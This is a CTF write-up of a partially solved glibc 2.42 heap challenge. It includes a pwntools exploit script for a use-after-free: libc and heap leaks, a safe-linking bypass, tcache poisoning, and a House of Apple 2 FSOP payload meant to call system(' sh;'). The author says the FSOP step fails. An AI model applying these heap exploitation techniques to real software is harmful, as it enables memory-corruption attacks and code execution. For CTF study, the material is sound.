67

0xFun CTFby smothy

Six Seven Lmao - PWN (500pts)

Category: PWN | Difficulty: Hard | Status: Partial Solve | By: Smothy @ 0xN1umb

when glibc said no


what we got

Classic heap challenge with a note manager binary:

  • chall - the binary
  • libc.so.6 - glibc 2.42 (pain)
  • ld-linux-x86-64.so.2 - loader
bash
$ checksec chall
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Full protections. And glibc 2.42. fr this gonna be rough.

Binary has 5 options:

  1. Create Note (malloc up to 1024 bytes)
  2. Delete Note (free, but NO pointer nulling = UAF)
  3. Read Note (reads even after free = UAF read)
  4. Edit Note (writes even after free = UAF write)
  5. Exit

10 note slots (indices 0-9).


the bugs

Found the classic UAF - after free(), the pointer stays in the notes[] array and you can still read/write to it:

c
// delete_note - no null after free!
void delete_note() {
    int idx = get_int();
    if (idx <= 9 && notes[idx]) {
        free(notes[idx]);  // freed but pointer stays
        puts("Note deleted!");
    }
}

// edit_note - writes to freed chunk
void edit_note() {
    int idx = get_int();
    if (idx <= 9 && notes[idx]) {  // just checks if pointer exists
        read(0, notes[idx], sizes[idx]);  // writes to freed memory!
    }
}

Also found double-free is possible if you corrupt the tcache key at offset 8.


the exploitation journey

Step 1: Libc Leak ✅

Standard unsortedbin leak. Fill tcache (7 chunks), 8th goes to unsortedbin, read fd pointer:

python
SIZE = 504  # 0x200 chunk

# Allocate 8 chunks
for i in range(8):
    create(i, SIZE)
create(8, 24)  # barrier

# Free 0-6 to tcache, 7 goes to unsortedbin
for i in range(7):
    delete(i)
delete(7)

# UAF read gives us main_arena pointer
leak = read_note(7)
libc_leak = u64(leak[:8].ljust(8, b'\x00'))
libc.address = libc_leak - 0x1e8000 - (libc_leak & 0xfff)

ez libc leak.

Step 2: Heap Leak ✅

glibc 2.32+ has safe-linking (fd pointers are XOR'd). Did a double-free to get self-referential fd:

python
# Double-free bypass - corrupt tcache key
delete(9)
edit(9, b'A' * 8 + p64(0))  # corrupt key at offset 8
delete(9)  # double free works now

# Self-referential fd: fd = protect(chunk, chunk) = chunk ^ (chunk >> 12)
fd = u64(read_note(9)[:8].ljust(8, b'\x00'))

# Demangle it
chunk = fd
for _ in range(10):
    chunk = fd ^ (chunk >> 12)
# now we have the heap address

Step 3: Tcache Poison for Overlap ✅

Poisoned tcache fd to get overlapping allocations:

python
def protect(pos, ptr):
    return (pos >> 12) ^ ptr

target = chunk9 - 0x200  # another chunk we control
mangled = protect(chunk9, target)
edit(9, p64(mangled))

create(2, SIZE)  # returns chunk9
create(3, SIZE)  # returns target - OVERLAPS with notes[0]!

# Verify overlap
edit(3, b'OVERLAP!')
assert b'OVERLAP' in read_note(0)  # notes[0] and notes[3] same memory!

got heap overlap working. this is where it gets spicy.

Step 4: The Wall - glibc 2.42 ❌

tried to poison tcache to stdout for FSOP... and glibc said nah:

python
mangled_stdout = protect(target, stdout)
edit(0, p64(mangled_stdout))
create(4, SIZE)  # gets target
create(5, SIZE)  # should get stdout... but doesn't

glibc 2.42 validates tcache pointers. if it's not in heap range or doesn't have valid chunk metadata, allocation fails and falls back to other bins. we get a fresh chunk instead of stdout.

tried:

  • ❌ direct tcache poison to stdout
  • ❌ tcache poison to tcache_perthread_struct
  • ❌ tcache poison to any libc address
  • ❌ fake chunk technique (works for heap, not libc)

all blocked by the tcache validation in glibc 2.42.

Step 5: FSOP Attempt ❌

even set up a proper House of Apple 2 payload:

python
fake = bytearray(SIZE)
fake[0:4] = b' sh;'  # command
fake[0xa0:0xa8] = p64(target + 0xe0)  # _wide_data
fake[0x88:0x90] = p64(heap_base + 0x100)  # _lock
fake[0x90:0x98] = p64(1)  # _mode
fake[0xd8:0xe0] = p64(_IO_wfile_jumps)  # vtable
# ... more offsets for wide_data chain
fake[0x238:0x240] = p64(system)  # __doallocate = system

edit(3, bytes(fake))
exit_prog()  # should trigger FSOP... but doesn't

the payload is correct but useless - our fake FILE isn't in _IO_list_all chain because we can't write to libc.


what would've worked

for full pwn on glibc 2.42, you'd need one of:

  1. largebin attack - but max chunk size is 1024 (stays in tcache range)
  2. stack leak + ROP - no stack leak primitive available
  3. some 0-day glibc technique - lol
  4. different libc on remote - couldn't test, server was down

the challenge might've been solvable on remote with an older libc that doesn't have the strict tcache validation.


primitives achieved

✅ libc leak (unsortedbin) ✅ heap leak (double-free + safe-linking bypass) ✅ arbitrary heap read/write (UAF) ✅ heap overlap (tcache poison) ✅ fake chunk allocation (within heap) ❌ arbitrary write to libc (blocked) ❌ code execution (blocked)

final exploit

python
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./chall')
libc = ELF('./libc.so.6')

p = process('./chall')

def create(idx, size, data=b'X'):
    p.sendafter(b'> ', b'1'.ljust(10, b'\x00'))
    p.sendafter(b'Index: ', str(idx).encode().ljust(10, b'\x00'))
    p.sendafter(b'Size: ', str(size).encode().ljust(10, b'\x00'))
    if len(data) < size:
        data = data.ljust(size, b'\x00')
    p.sendafter(b'Data: ', data[:size])

def delete(idx):
    p.sendafter(b'> ', b'2'.ljust(10, b'\x00'))
    p.sendafter(b'Index: ', str(idx).encode().ljust(10, b'\x00'))

def read_note(idx):
    p.sendafter(b'> ', b'3'.ljust(10, b'\x00'))
    p.sendafter(b'Index: ', str(idx).encode().ljust(10, b'\x00'))
    p.recvuntil(b'Data: ')
    return p.recvline(keepends=False)

def edit(idx, data):
    p.sendafter(b'> ', b'4'.ljust(10, b'\x00'))
    p.sendafter(b'Index: ', str(idx).encode().ljust(10, b'\x00'))
    p.sendafter(b'New Data: ', data)

def protect(pos, ptr):
    return (pos >> 12) ^ ptr

SIZE = 504

# libc leak
for i in range(8):
    create(i, SIZE)
create(8, 24)
for i in range(7):
    delete(i)
delete(7)

leak = u64(read_note(7)[:8].ljust(8, b'\x00'))
libc.address = leak - 0x1e8000 - (leak & 0xfff)
log.success(f"libc: {hex(libc.address)}")

# refill tcache
for i in range(7):
    create(i, SIZE)
create(9, SIZE)

# heap leak via double-free
delete(9)
edit(9, b'A' * 8 + p64(0))
delete(9)

fd = u64(read_note(9)[:8].ljust(8, b'\x00'))
chunk9 = fd
for _ in range(10):
    chunk9 = fd ^ (chunk9 >> 12)
log.success(f"heap: {hex(chunk9)}")

# tcache poison for overlap
target = chunk9 - 0x200
edit(9, p64(protect(chunk9, target)))
create(2, SIZE)
create(3, SIZE)

# verify overlap
edit(3, b'OVERLAP!')
if b'OVERLAP' in read_note(0):
    log.success("heap overlap achieved!")
    # ... FSOP would go here if we could reach _IO_list_all

p.interactive()

lessons learned

  • glibc 2.42 is brutal with tcache validation
  • safe-linking bypass is standard now (just XOR math)
  • having heap primitives doesn't mean you can escape to libc
  • sometimes challenges are just hard lmao

me vs glibc 2.42


smothy out ✌️